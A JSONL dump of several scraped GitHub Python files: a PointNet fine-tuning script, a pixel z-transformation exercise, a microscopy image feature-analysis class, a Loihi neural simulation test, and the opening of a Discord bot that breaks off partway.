+{"seq_id":"72859858782","text":"import argparse\nimport torch.utils.data\nfrom pointnet.dataset import ShapeNetDataset, ModelNetDataset\nfrom pointnet.model import PointNetCls\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\n '--batchSize', type=int, default=64, help='input batch size')\nparser.add_argument('--nepoch', type=int, default=2)\nparser.add_argument('--device', type=str, default='cpu')\nparser.add_argument(\n '--num_points', type=int, default=2500, help='input batch size')\nparser.add_argument(\n '--num_classes', type=int, default=16, help='number of classes')\nparser.add_argument('--workers', type=int, help='number of data loading workers', default=32)\nparser.add_argument('--model', type=str, default='./checkpoint_79_epoch.pkl')\nparser.add_argument('--dataset', type=str, default=\"./data/shapenetcore_partanno_segmentation_benchmark_v0\",\n help=\"dataset path\")\nparser.add_argument('--dataset_type', type=str, default='shapenet', help=\"dataset type shapenet|modelnet40\")\nparser.add_argument('--feature_transform', type=bool, default=True, help=\"use feature transform\")\n\nopt = parser.parse_args()\n\nif opt.dataset_type == 'shapenet':\n test_dataset = ShapeNetDataset(\n root=opt.dataset,\n classification=True,\n split='test',\n npoints=opt.num_points,\n data_augmentation=False)\n\nelif opt.dataset_type == 'modelnet40':\n test_dataset = ModelNetDataset(\n root=opt.dataset,\n split='test',\n npoints=opt.num_points,\n data_augmentation=False)\nelse:\n exit('wrong dataset type')\n\ntestdataloader = torch.utils.data.DataLoader(\n test_dataset,\n batch_size=opt.batchSize,\n shuffle=False,\n num_workers=int(opt.workers))\n\nmodel_dict = torch.load(opt.model, map_location=opt.device)['model_state_dict']\nmodel_dict.pop('fc3.weight')\nmodel_dict.pop('fc3.bias')\nclassifier = PointNetCls(k=opt.num_classes, feature_transform=opt.feature_transform)\nclassifier.load_state_dict(model_dict, strict=False)\n\nfor epoch in range(opt.nepoch):\n for i, data in enumerate(testdataloader, 0):\n points, target = data\n target = target[:, 0]\n if opt.device == 'npu':\n target = target.to(torch.int32)\n points = points.transpose(2, 1)\n pred, trans, trans_feat = classifier(points)\n pred_choice = pred.data.max(1)[1]\n print(\"output class:\", pred_choice)\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/contrib/cv/classification/PointNet/finetune.py","file_name":"finetune.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"74817305822","text":"import numpy as np\nimport imageio.v2 as imageio\nimport matplotlib.pyplot as plt\nimport os\n\n\n\nfolder = \"Bilder\\Training\"\npixelValues = []\nfor filename in os.listdir(folder): \n if filename.endswith(\"gif\"): \n imagePath = os.path.join(folder, filename)\n image = imageio.imread(imagePath) \n image_pixelValues = image.flatten() \n pixelValues.append(image_pixelValues)\nmatrix = np.column_stack(pixelValues) \nprint(matrix) \nprint(matrix.shape) \n \n# old histogram with only one bar every 25 pixels\n# hist, edges = np.histogram(matrix)\n# plt.bar(edges[:-1], hist, width=10)\n# plt.xlabel(\"Pixel values\")\n# plt.ylabel(\"Frequency\")\n# plt.title(\"Frequency of pixel values ​​before transformation\")\n# plt.show()\n\n#plot\nplt.hist(matrix)\nplt.title(\"Frequency of pixel values before z-transformation\")\nplt.xlabel(\"Pixel values\")\nplt.ylabel(\"Frequency\")\nplt.show()\n\n#Z transformation\ndef z_transformation(Matrix):\n transformed_matrix = []\n for row in Matrix:\n sd = np.std(row) \n if sd == 0:\n tranformed_row = row - mean \n else:\n mean = np.mean(row) \n transformed_row = (row - mean) / sd \n transformed_matrix.append(transformed_row) \n return transformed_matrix\nnew_matrix = matrix\ntransformierte_Matrix = z_transformation(new_matrix) \n\n# Convert all transformed values ​​to a flat array so I don't get 120 histograms output:\ntransformed_values = np.concatenate(transformierte_Matrix)\n\n# Plot histogram for the transformed values\nhist, edges = np.histogram(transformed_values)\nplt.bar(edges[:-1], hist, width=0.9)\nplt.xlabel(\"Pixel values\")\nplt.ylabel(\"Frequency\")\nplt.title(\"Frequency of pixel values after transformation\")\nplt.show()\naverage = np.mean(transformed_values)\nstandardDeviation = np.std(transformed_values)\nprint(\"Mean of tansformed data : \", average)\nprint(\"Standard deviation of performed data\", standardDeviation)\n","repo_name":"datascience-mobi-2023/topic01_team01","sub_path":"z_transformation.py","file_name":"z_transformation.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23422676427","text":"\"\"\"\nbase_features.py - microscopy images class\n\n\"\"\"\n\nimport pims\nfrom tqdm import tqdm, tnrange\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\n\nimport pandas as pd\n\nfrom numba import njit\nimport pyfftw\nimport multiprocessing as mp\n\nfrom .base_lines import ImageLine\n\n__author__ = 'Sungcheol Kim '\n__version__ = '1.0.0'\n\n\nclass ImageFeature(ImageLine):\n\n def __init__(self, objects, method='tifffile', debug=False, **kwargs):\n\n super().__init__(objects, method=method, debug=debug, **kwargs)\n \"\"\" TifFile class initialization \"\"\"\n\n self._windowSize = 64\n self._overlap = 48\n self._searchArea = 72\n self._crop_window = [0, 0, self._meta['height'], self._meta['width']]\n self._dt = 0.01784\n self._piv_threshold = 1.3\n\n self._pivx = []\n self._pivy = []\n self._pivu = []\n self._pivv = []\n self._pivfilename = self._meta['basename']+'_pivdata'\n\n self._line_length = 20\n self._line_threshold = 20\n self._cansigma = 0\n\n self._shiftx = []\n self._shifty = []\n\n def crop(self, margin=30, box_arr=None, save=True, **kwargs):\n \"\"\" crop image for all frames \"\"\"\n\n if self._debug: print('... width, height: %i, %i' % (self._width, self._height))\n\n # check given box_arr\n if box_arr is None:\n th = self.threshold(0, method='otsu', show=False, **kwargs)\n cnt_data = self.find_contour(0, threshold=th, show=self._debug, **kwargs)\n d = np.asarray(cnt_data)\n box_arr = d[:, 2:6]\n else:\n box_arr = [box_arr]\n\n # show image and box area\n fig = plt.figure(figsize=(11, 5))\n ax = fig.gca()\n self._showimage(self.mean(), frameNumber=False, ax=ax)\n for i, b in enumerate(box_arr):\n [x0, y0, x1, y1] = np.array(b) + np.array([-margin, -margin, margin, margin])\n\n [x0, x1] = np.clip([x0, x1], 0, self._height)\n [y0, y1] = np.clip([y0, y1], 0, self._width)\n\n x = [x0, x1, x1, x0, x0]\n y = [y0, y0, y1, y1, y0]\n ax.plot(x, y, '--', color='gray', alpha=0.8)\n ax.annotate(str(i), xy=(x0, y0), color='white')\n if self._debug: print(\"... [{}] ({}, {}, {}, {})\".format(i, x0, y0, x1, y1))\n plt.show()\n\n # save cropped area\n a = input(\"Confirm? [Yes|No]\")\n if a.upper() in [\"YES\", \"Y\"]:\n # only crop image data\n if (len(box_arr) == 1) and (save is not True):\n if self._debug: print('... only crop in image data')\n self._images = self._images[:, y0:y1+1, x0:x1+1]\n self._raw_images = self._raw_images[:, y0:y1+1, x0:x1+1]\n else:\n self.saveTif(box_arr=box_arr, margin=margin)\n else:\n return False\n\n def detect_drifts(self, frames=-1, min_size=200, show=True, save=False, full=True, **kwargs):\n \"\"\" detect drift by c.o.m \"\"\"\n if 'cv2' not in sys.modules: import cv2\n\n if frames == -1:\n frames = range(self._frameN)\n\n # iterate through all frames\n xy = np.zeros((len(frames), 2))\n for i in tnrange(len(frames)):\n\n # find contour of cells\n th = self.threshold(frame=frames[i], show=False, **kwargs)\n if full:\n M = cv2.moments(th)\n c = [M['m10']/M['m00'], M['m01']/M['m00']]\n else:\n cnt_data = self.find_contour(frame=frames[i], threshold=th, show=False, min_size=min_size)\n c = cnt_data['cx'].iloc[0], cnt_data['cy'].iloc[0]\n xy[i, 0] = c[0]\n xy[i, 1] = c[1]\n\n # calculate shift and modify images\n if save:\n shift_x = c[0] - xy[0, 0]\n shift_y = c[1] - xy[0, 1]\n M = np.float32([[1, 0, -shift_x], [0, 1, -shift_y]])\n img = self.getframe(i)\n shifted_img = cv2.warpAffine(img, M, (self._height, self._width), None, cv2.INTER_CUBIC, cv2.BORDER_WRAP)\n self._images[i, :, :] = shifted_img\n\n # save shift coordinate in panda dataframe\n result = pd.DataFrame(xy, index=frames, columns=['x', 'y'])\n\n if show:\n plt.imshow(self.getframe(frames[0]))\n plt.plot(xy[:, 0], xy[:, 1], 'white')\n plt.show()\n\n return result\n\n def detect_blob(self, frame=-1, res=5, **kwargs):\n \"\"\" detect blob using opencv or trackpy\n\n From trackpy locate commands\n -----------------------------\n minmass : float, optional\n The minimum integrated brightness. This is a crucial parameter for\n eliminating spurious features.\n Recommended minimum values are 100 for integer images and 1 for float\n images. Defaults to 0 (no filtering).\n .. warning:: The mass value is changed since v0.3.0\n .. warning:: The default behaviour of minmass has changed since v0.4.0\n maxsize : float\n maximum radius-of-gyration of brightness, default None\n separation : float or tuple\n Minimum separtion between features.\n Default is diameter + 1. May be a tuple, see diameter for details.\n noise_size : float or tuple\n Width of Gaussian blurring kernel, in pixels\n Default is 1. May be a tuple, see diameter for details.\n smoothing_size : float or tuple\n The size of the sides of the square kernel used in boxcar (rolling\n average) smoothing, in pixels\n Default is diameter. May be a tuple, making the kernel rectangular.\n threshold : float\n Clip bandpass result below this value. Thresholding is done on the\n already background-subtracted image.\n By default, 1 for integer images and 1/255 for float images.\n invert : boolean\n This will be deprecated. Use an appropriate PIMS pipeline to invert a\n Frame or FramesSequence.\n Set to True if features are darker than background. False by default.\n percentile : float\n Features must have a peak brighter than pixels in this\n percentile. This helps eliminate spurious peaks.\n topn : integer\n Return only the N brightest features above minmass.\n If None (default), return all features above minmass.\n preprocess : boolean\n Set to False to turn off bandpass preprocessing.\n max_iterations : integer\n max number of loops to refine the center of mass, default 10\n filter_before : boolean\n filter_before is no longer supported as it does not improve performance.\n filter_after : boolean\n This parameter has been deprecated: use minmass and maxsize.\n characterize : boolean\n Compute \"extras\": eccentricity, signal, ep. True by default.\n engine : {'auto', 'python', 'numba'}\n\n Returns\n -------\n DataFrame([x, y, mass, size, ecc, signal])\n where mass means total integrated brightness of the blob,\n size means the radius of gyration of its Gaussian-like profile,\n and ecc is its eccentricity (0 is circular).\n \"\"\"\n\n U2 = self.getframe(frame)\n\n import trackpy as tp\n\n f = tp.locate(U2, res, **kwargs)\n fig = plt.figure(figsize=(11, 5))\n tp.annotate(f, np.hstack((U2, self.getframe(frame, orig=True, types=U2.dtype))))\n return f\n\n def detect_traces(self, frames=-1, res=5, margin=30, ids=None, **kwargs):\n \"\"\" detect particle tracks using trackpy and save as pt file\n\n From trackpy link command\n -------------------------\n f : DataFrame\n The DataFrame must include any number of column(s) for position and a\n column of frame numbers. By default, 'x' and 'y' are expected for\n position, and 'frame' is expected for frame number. See below for\n options to use custom column names.\n search_range : float or tuple\n the maximum distance features can move between frames,\n optionally per dimension\n pos_columns : list of str, optional\n Default is ['y', 'x'], or ['z', 'y', 'x'] when 'z' is present in f\n t_column : str, optional\n Default is 'frame'\n memory : integer, optional\n the maximum number of frames during which a feature can vanish,\n then reappear nearby, and be considered the same particle. 0 by default.\n predictor : function, optional\n Improve performance by guessing where a particle will be in\n the next frame.\n For examples of how this works, see the \"predict\" module.\n adaptive_stop : float, optional\n If not None, when encountering an oversize subnet, retry by progressively\n reducing search_range until the subnet is solvable. If search_range\n becomes <= adaptive_stop, give up and raise a SubnetOversizeException.\n adaptive_step : float, optional\n Reduce search_range by multiplying it by this factor.\n neighbor_strategy : {'KDTree', 'BTree'}\n algorithm used to identify nearby features. Default 'KDTree'.\n link_strategy : {'recursive', 'nonrecursive', 'numba', 'hybrid', 'drop', 'auto'}\n algorithm used to resolve subnetworks of nearby particles\n 'auto' uses hybrid (numba+recursive) if available\n 'drop' causes particles in subnetworks to go unlinked\n dist_func : function, optional\n a custom distance function that takes two 1D arrays of coordinates and\n returns a float. Must be used with the 'BTree' neighbor_strategy.\n to_eucl : function, optional\n function that transforms a N x ndim array of positions into coordinates\n in Euclidean space. Useful for instance to link by Euclidean distance\n starting from radial coordinates. If search_range is anisotropic, this\n parameter cannot be used.\n\n Returns\n -------\n DataFrame with added column 'particle' containing trajectory labels.\n The t_column (by default: 'frame') will be coerced to integer.\n \"\"\"\n\n import trackpy as tp\n if frames == -1:\n frames = range(self._frameN)\n\n # using trackpy to select particles\n search_range = kwargs.pop('search_range', 10)\n memory = kwargs.pop('memory', 5)\n length = kwargs.pop('length', 5)\n psize = kwargs.pop('size', 0.0)\n ecc = kwargs.pop('ecc', 1.0)\n\n f = tp.batch(self._images[frames], res, **kwargs)\n t = tp.link_df(f, search_range, memory=memory)\n t1 = tp.filter_stubs(t, threshold=length)\n\n # select by size and eccentricity\n t2 = t1[((t1['size'] > psize) & (t1['ecc'] < ecc))]\n if (ids is not None) and isinstance(ids, list):\n t2 = t2.loc[t2['particle'].isin(ids)]\n\n pid = np.unique(t2['particle'])\n\n plt.clf()\n fig = plt.figure(figsize=(10, 8))\n ax = fig.gca()\n xmin, xmax = int(t2['x'].min()), int(t2['x'].max())\n ymin, ymax = int(t2['y'].min()), int(t2['y'].max())\n xmin, xmax = np.clip([xmin-margin, xmax+margin], 0, self._height)\n ymin, ymax = np.clip([ymin-margin, ymax+margin], 0, self._width)\n\n for i, p in enumerate(pid):\n # plot individual traces\n\n # avoid crowd figure\n if i > 10:\n continue\n idx = np.where(t2['particle'] == p)[0]\n x = t2['x'].iloc[idx] - xmin\n y = t2['y'].iloc[idx] - ymin\n\n c = np.random.rand(3)*0.3 + [0.4, 0.1, 0.1]\n ax.plot(x, y, color=c, label='condensate %i (%i)' % (p, len(x)), alpha=0.9)\n ax.annotate('%i' % p, xy=(x.min(), y.min()), xytext=(x.min() - 15, y.min() - 15), va='bottom', ha='right', arrowprops=dict(arrowstyle=\"-|>\", facecolor='white', edgecolor='white'), color='white')\n\n ax.imshow(self._raw_images[0, ymin:ymax+1, xmin:xmax+1])\n ax.axis('off')\n\n # Shrink current axis by 20%\n box = ax.get_position()\n ax.set_position([box.x0, box.y0, box.width * 0.8, box.height])\n\n # Put a legend to the right of the current axis\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n plt.tight_layout()\n plt.savefig(self._fname[:-4] + '_trace.pdf', dpi=300)\n\n return t2\n\n def find_contour(self, frame=-1, threshold=None, show=True, min_size=30, max_size=-1, max_box=-1, plotmode='rbox'):\n \"\"\" find contour lines \"\"\"\n if 'cv2' not in sys.modules: import cv2\n\n if frame == -1:\n frame = self._curframe\n if frame in self._frames:\n self._curframe = frame\n else:\n print('... {} is not in range'.format(frame))\n return False\n\n img = self.getframe(frame, types='uint8')\n\n # use threshold image\n if threshold is None:\n threshold = self.threshold(frame, show=False, erode_iter=2)\n\n # calculate contours\n im2, cnts, hi = cv2.findContours(threshold, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # sort by area\n cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n if max_box == -1:\n max_box = len(cnts)\n if max_size == -1:\n max_size = cv2.contourArea(cnts[0])\n\n # draw all detected contours\n c_img = img.copy()\n\n # prepare mask\n mask = np.zeros(img.shape, np.uint8)\n data = np.zeros((len(cnts), 15))\n good_idx = []\n\n if show:\n fig = plt.figure(figsize=(10, 5))\n ax = fig.gca()\n\n # check all contours\n for i, cnt in enumerate(cnts):\n M = cv2.moments(cnt)\n\n # filtering\n if M['m00'] < min_size:\n continue\n if M['m00'] > max_size:\n continue\n if i > max_box - 1:\n continue\n\n # find contour characteristics\n x, y, w, h = cv2.boundingRect(cnt)\n (rx, ry), (MA, ma), angleE = cv2.fitEllipse(cnt)\n (bx, by), (bw, bh), angleR = cv2.minAreaRect(cnt)\n box = cv2.boxPoints(((bx, by), (bw, bh), angleR))\n cx, cy = M['m10']/M['m00'], M['m01']/M['m00']\n perimeter = cv2.arcLength(cnt, True)\n\n white_color = np.random.random(3)/2 + 0.5\n if plotmode == 'box':\n # draw bounding box\n if show:\n plt.plot([x, x+w, x+w, x, x], [y, y, y+h, y+h, y], color=white_color, alpha=0.8)\n angle = angleR\n elif plotmode == 'ellipse':\n # draw ellipse\n if show:\n ells = Ellipse((rx, ry), MA, ma, angle=angleE, fill=False, linewidth=2, edgecolor=white_color, alpha=0.5)\n ells.set_clip_box(ax.bbox)\n ax.add_artist(ells)\n angle = angleE\n cx, cy = rx, ry\n else:\n if show:\n box = np.array(box)\n ax.plot(np.append(box[:, 0], box[0, 0]), np.append(box[:, 1], box[0, 1]), color=white_color, alpha=0.8)\n angle = angleR\n cx, cy = bx, by\n\n if show:\n ax.annotate(str(i), xy=(x, y), color='white') # , fontsize='small')\n ax.annotate(str(i), xy=(x + img.shape[1], y), color='white') # , fontsize='small')\n\n data[i, :] = [frame, i, x, y, x+w, y+h, cx, cy, M['m00'], perimeter, MA, ma, angle, bw, bh]\n good_idx.append(i)\n\n # prepare total mask\n cv2.drawContours(mask, [cnt], 0, 255, -1)\n\n contour_data = pd.DataFrame(data[good_idx, :], index=range(len(good_idx)), columns=['frame', 'id', 'x0', 'y0', 'x1', 'y1', 'cx', 'cy', 'area', 'perimeter', 'major', 'minor', 'angle', 'width', 'height'])\n\n # calculate total c.o.m\n c_img[mask == 0] = 0\n M = cv2.moments(c_img)\n if M['m00'] == 0:\n cxy = 0, 0\n else:\n cxy = M['m10']/M['m00'], M['m01']/M['m00']\n\n # show result\n if show:\n ax.imshow(np.hstack((img, c_img)))\n ax.scatter([cxy[0] + img.shape[1]], [cxy[1]], s=160, c='white', marker='+')\n print(\"... total c.o.m: {:.2f}, {:.2f}\".format(cxy[0], cxy[1]))\n\n plt.axis(\"image\")\n plt.show()\n\n # prepare box array\n self._cnts = []\n self.box_arr_ = []\n for cnt in cnts:\n area = cv2.contourArea(cnt)\n if area < min_size:\n continue\n x, y, w, h = cv2.boundingRect(cnt)\n self.box_arr_.append([x, y, x+w, y+h])\n self._cnts.append(cnt)\n\n return contour_data\n\n def box_view(self, box_number=0):\n \"\"\" show box area \"\"\"\n if len(self.box_arr_) == 0:\n print(\"... use find_contour first\")\n return False\n\n if box_number in range(len(self.box_arr_)):\n x0, y0, x1, y1 = self.box_arr_[box_number]\n if len(self._newimages) > 0:\n return pims.Frame(self._newimages[:, y0:y1, x0:x1])\n else:\n imgs = np.array(self._images[:])\n return pims.Frame(imgs[:, y0:y1, x0:x1])\n\n def calAreabyIntensity(self, ranges, frame=-1, show=True):\n if frame == -1:\n frame = self._curframe\n else:\n self._curframe = frame\n img = self.getframe(frame)\n mask1 = img < ranges[0]\n mask2 = img > ranges[1]\n mask = mask1 | mask2\n if show:\n plt.imshow(mask, cmap=plt.cm.gray)\n plt.axis('off')\n plt.show()\n\n x1, y1 = img.shape\n size = x1 * y1 - np.sum(mask)\n print('... size: %d [pixel^2]' % size)\n intensity = np.sum(img[~mask])\n print('... intensity sum: %.3g' % intensity)\n\n # detect frame shift\n def _find_frame_shift(self, img1, img2, show=False):\n from skimage.feature import register_translation\n res, error, diffphase = register_translation(img1, img2, 100)\n\n res = [-res[1], res[0]]\n if show:\n print('... maximum shift: {}'.format(res))\n print('... error: {}'.format(error))\n print('... diffphase: {}'.format(diffphase))\n plt.figure(figsize=(12, 6))\n plt.imshow(np.hstack((img1, img2)))\n\n return res\n\n def find_frame_shift(self, frame=-1, frame_delta=1, show=True):\n \"\"\" find drift from two sequel frames using phase correlation \"\"\"\n\n if frame == -1:\n frame = self._curframe\n if frame + frame_delta > self._frameN - 1:\n raise KeyError('... out of frame range: {}, {}'.format(frame, frame + frame_delta))\n\n return self._find_frame_shift(self.getframe(frame), self.getframe(frame + frame_delta), show=show)\n\n def find_frame_shifts(self, show=True, method='fft'):\n \"\"\" calculate frame shift over all frames \"\"\"\n shiftx = np.zeros(self._frameN-1)\n shifty = np.zeros(self._frameN-1)\n\n for i in trange(self._meta.N() - 1):\n if method == 'fft':\n res = find_shift(self.getframe(i), self.getframe(i+1))\n else:\n res = self._find_frame_shift(self.getframe(i), self.getframe(i+1), show=False)\n shiftx[i] = res[0]\n shifty[i] = res[1]\n\n self._shiftx = shiftx\n self._shifty = shifty\n\n if show:\n plt.plot(self._frames[:-1], shiftx, label='x')\n plt.plot(self._frames[:-1], shifty, label='y')\n plt.legend(loc='best')\n plt.xlabel('frames')\n plt.ylabel('x, y shifts [pixel]')\n\n return (shiftx.mean(), shifty.mean())\n\n def piv_frame(self, frame=-1, frame_delta=1, show=True, **kwargs):\n if frame == -1:\n frame = self._curframe\n img1 = self.getframe(frame, types='int32')\n img2 = self.getframe(frame + frame_delta, types='int32')\n\n return self._piv_frame(img1, img2, show=show, **kwargs)\n\n def _piv_frame(self, img1, img2, show=False, **kwargs):\n \"\"\"\n calculate velocity using piv method on two frames\n \"\"\"\n from openpiv.process import extended_search_area_piv, get_coordinates\n # from openpiv.scaling import uniform\n\n if self._debug:\n print('... [PIV] window size: {}'.format(self._windowSize))\n print('... [PIV] overlap: {}'.format(self._overlap))\n print('... [PIV] search area size: {}'.format(self._searchArea))\n print('... [PIV] threshold: {}'.format(self._piv_threshold))\n\n u, v, sig2noise = extended_search_area_piv(img1, img2, window_size=self._windowSize, overlap=self._overlap, dt=self._exposuretime, search_area_size=self._searchArea, sig2noise_method='peak2peak')\n self._pivx, self._pivy = get_coordinates(image_size=img1.shape, window_size=self._windowSize, overlap=self._overlap)\n #self._pivy = np.flipud(self._pivy)\n #self._pivx, self._pivy, u, v = uniform(self._pivx, self._pivy, u, v, scaling_factor=self._mpp)\n\n if show:\n from openpiv.validation import sig2noise_val\n from openpiv.filters import replace_outliers\n u, v, mask = sig2noise_val(u, v, sig2noise, threshold=self._piv_threshold)\n u, v = replace_outliers(u, v, method='localmean', max_iter=10, kernel_size=2)\n # show quiver plot\n plt.figure(figsize=(12, 6))\n plt.imshow(img1)\n plt.quiver(self._pivx, self._pivy, u, v, color='w', pivot='mid')\n plt.savefig(self._fname[:-4]+'_piv.png', dpi=100)\n\n if self._debug:\n print(\"... [PIV] mean velocity [um/sec]: ({:4.2f}, {:4.2f})\".format(np.mean(u)*self._mpp, np.mean(v)*self._mpp))\n print(\"... [PIV] mean velocity [pixel/frame]: ({:4.2f}, {:4.2f})\".format(np.mean(u)*self._exposuretime, np.mean(v)*self._exposuretime))\n\n return (u, v, sig2noise)\n\n def piv_frames(self, topn=-1, show=True):\n\n from openpiv.validation import sig2noise_val\n from openpiv.filters import replace_outliers\n\n frames = self._frames[::2]\n topn = np.min([len(frames), topn])\n frames = frames[:topn]\n\n (ut, vt, s2nt) = self.piv_frame(frame=0, show=False)\n for i in tqdm.tqdm(frames[1:]):\n (u, v, s2n) = self.piv_frame(frame=i, show=False)\n ut += u\n vt += v\n s2nt += s2n\n #print(np.max(u), np.min(u), u.size)\n #print(np.max(v), np.max(v), v.size)\n\n ut /= len(frames)\n vt /= len(frames)\n s2nt /= len(frames)\n\n ut, vt, mask = sig2noise_val(ut, vt, s2nt, threshold=self._piv_threshold)\n ut, vt = replace_outliers(ut, vt, method='localmean', max_iter=10, kernel_size=2)\n self._pivu = ut\n self._pivv = vt\n self._pivs2n = s2nt\n self.save_piv()\n\n if show:\n fig = plt.figure(figsize=(12, 6))\n ax1 = fig.add_subplot(121)\n ax1.imshow(self.mean())\n ax1.quiver(self._pivx, self._pivy, ut, vt, pivot='mid', color='w')\n\n ax2 = fig.add_subplot(122)\n n_u, bins, patches = ax2.hist(ut.flatten()*self._mpp, bins=20, normed=1, facecolor='blue', alpha=0.75, label='u')\n n_v, bins, patches = ax2.hist(vt.flatten()*self._mpp, bins=20, normed=1, facecolor='green', alpha=0.75, label='v')\n ax2.annotate(np.mean(ut)*self._mpp, xy=(np.mean(ut)*self._mpp, np.max(n_u)))\n ax2.annotate(np.mean(vt)*self._mpp, xy=(np.mean(vt)*self._mpp, np.max(n_v)))\n plt.legend(loc='best')\n plt.tight_layout()\n plt.savefig(self._fname[:-4]+'_piv_t.png', dpi=150)\n\n print(\"... frames: {}, {}\".format(frames[0], frames[-1]))\n print(\"... mean velocity [um/sec]: ({:4.2f}, {:4.2f})\".format(np.mean(ut)*self._umtopixel, np.mean(vt)*self._umtopixel))\n print(\"... mean velocity [pixel/frame]: ({:4.2f}, {:4.2f})\".format(np.mean(ut)*self._dt, np.mean(vt)*self._dt))\n\n def get_piv_vel(self, window=[], verbose=True):\n if len(window) == 0:\n window = self._crop_window\n\n if len(self._pivu) == 0:\n print('... run find_piv_frames firt!')\n return\n\n idx_x = np.where(np.logical_and(window[0] <= self._pivx[0, :], self._pivx[0, :] <= window[2]))[0]\n idx_y = np.where(np.logical_and(window[1] <= self._pivy[:, 0], self._pivy[:, 0] <= window[3]))[0]\n print('... {} values are found!'.format(len(idx_x)*len(idx_y)))\n\n res_u = self._pivu[idx_y.min():idx_y.max(), idx_x.min():idx_x.max()]\n res_v = self._pivv[idx_y.min():idx_y.max(), idx_x.min():idx_x.max()]\n\n mean_u = np.mean(res_u)*self._umtopixel\n mean_v = np.mean(res_v)*self._umtopixel\n print(\"... mean velocity [um/sec]: ({:4.2f}, {:4.2f})\".format(mean_u, mean_v))\n print(\"... mean velocity [pixel/frame]: ({:4.2f}, {:4.2f})\".format(np.mean(res_u)*self._dt, np.mean(res_v)*self._dt))\n\n if verbose:\n res_x = self._pivx[idx_y.min():idx_y.max(), idx_x.min():idx_x.max()]\n res_y = self._pivy[idx_y.min():idx_y.max(), idx_x.min():idx_x.max()]\n\n fig = plt.figure(figsize=(10, 4))\n\n ax = fig.add_subplot(121)\n ax.imshow(self.getMean())\n ax.quiver(self._pivx, self._pivy, self._pivu, self._pivv, pivot='mid', color='w')\n ax.quiver(res_x, res_y, res_u, res_v, pivot='mid', color='y')\n\n ax = fig.add_subplot(122)\n n_u, bins, patches = ax.hist(res_u.flatten()*self._umtopixel, bins=20, normed=1, facecolor='blue', alpha=0.75, label='u')\n n_v, bins, patches = ax.hist(res_v.flatten()*self._umtopixel, bins=20, normed=1, facecolor='green', alpha=0.75, label='v')\n plt.annotate('{:4.2f} [um/sec]'.format(mean_u), xy=(mean_u, n_u.max()/2.0))\n plt.annotate('{:4.2f} [um/sec]'.format(mean_v), xy=(mean_v, n_v.max()/2.0))\n\n plt.legend(loc='best')\n plt.tight_layout()\n filename = self._filename[:-4]+'_piv_w%d_%d_%d_%d.png' % (window[0], window[1], window[2], window[3])\n plt.savefig(filename, dpi=150)\n plt.show()\n\n def load_piv(self):\n if os.path.exists(self._pivfilename+'.npy'):\n a = np.load(self._pivfilename+'.npy')\n self._pivx, self._pivy, self._pivu, self._pivv = np.hsplit(a, 4)\n else:\n print('... %s is not exist' % self._filename)\n return\n\n def save_piv(self):\n a = np.hstack((self._pivx, self._pivy, self._pivu, self._pivv))\n np.save(self._pivfilename, a)\n\n\ndef shift2(arr):\n \"\"\" shift 2d array with half of its dimension \"\"\"\n\n d = int(arr.shape[0]/2), int(arr.shape[1]/2)\n cd = arr.shape[0] - d[0], arr.shape[1] - d[1]\n tmp = np.zeros_like(arr)\n\n tmp[:d[0], :d[1]] = cc[-d[0]:, -d[1]:]\n tmp[:d[0], d[1]:] = cc[-d[0]:, :cd[1]]\n tmp[d[0]:, :d[1]] = cc[:cd[0], -d[1]:]\n tmp[d[0]:, d[1]:] = cc[:cd[0], :cd[1]]\n\n return tmp\n\n\n#@njit(fastmath=True)\ndef find_shift(image0, image1):\n \"\"\" find drift velocity using fft and correlation \"\"\"\n fft = pyfftw.interfaces.numpy_fft\n pyfftw.config.NUM_THREADS = mp.cpu_count()\n\n # convert data type\n im0 = pyfftw.empty_aligned(image0.shape, dtype='complex128')\n im1 = pyfftw.empty_aligned(image1.shape, dtype='complex128')\n im0 = image0\n im1 = image1\n\n # run fast fourier transformation\n cc = fft.ifft2(fft.fft2(image0)*np.conj(fft.fft2(image1)))\n\n #if show:\n # plt.imshow(np.abs(shift2(cc)))\n\n coord = np.unravel_index(cc.argmax(), cc.shape)\n\n y = cc.shape[0] - coord[0] if coord[0] > cc.shape[0]/2 else coord[0]\n x = cc.shape[1] - coord[1] if coord[1] > cc.shape[1]/2 else coord[1]\n\n #return [coord[0] - d[0], coord[1] - d[1]]\n return [x, -y]\n\n# vim:foldmethod=indent:foldlevel=0\n","repo_name":"sungcheolkim78/py_imlib","sub_path":"imlib/base_features.py","file_name":"base_features.py","file_ext":"py","file_size_in_byte":28178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33357013269","text":"import matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport nengo\nimport nengo_loihi\nnengo_loihi.set_defaults()\n\n\nwith nengo.Network() as net:\n\ta = nengo.Ensemble(n_neurons=1000, dimensions=1)\n\tb = nengo.Ensemble(n_neurons=1000, dimensions=1)\n\tconn = nengo.Connection(a,b, function=lambda x: [0])\n\tconn.learning_rule_type=nengo.PES()\n\taprobe = nengo.Probe(a)\n\tbprobe = nengo.Probe(b)\n\nwith nengo_loihi.Simulator(net, precompute=False) as sim:\n\tsim.run(1000)\n\nt = sim.trange()\nadata = sim.data[aprobe]\nbdata = sim.data[bprobe]\n\nfig = plt.figure()\nplt.plot(t, adata)\nplt.plot(t, bdata)\nfig.savefig('speedtest.png')\n","repo_name":"DanielAnthes/Loihi-RL","sub_path":"code/speedtest.py","file_name":"speedtest.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"17720750736","text":"import discord\nfrom discord.ext import tasks\nimport json\nimport urllib.parse as urlparse\nfrom urllib.parse import urlencode\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport os\nimport argparse\nimport time\n\nfrom pymongo import MongoClient, ReturnDocument, errors\n\nimport asyncio\n\nfrom constants import *\nfrom perms import *\n\n# Assumptions: class number is always either 001,002, etc., or '%'\n# regex = 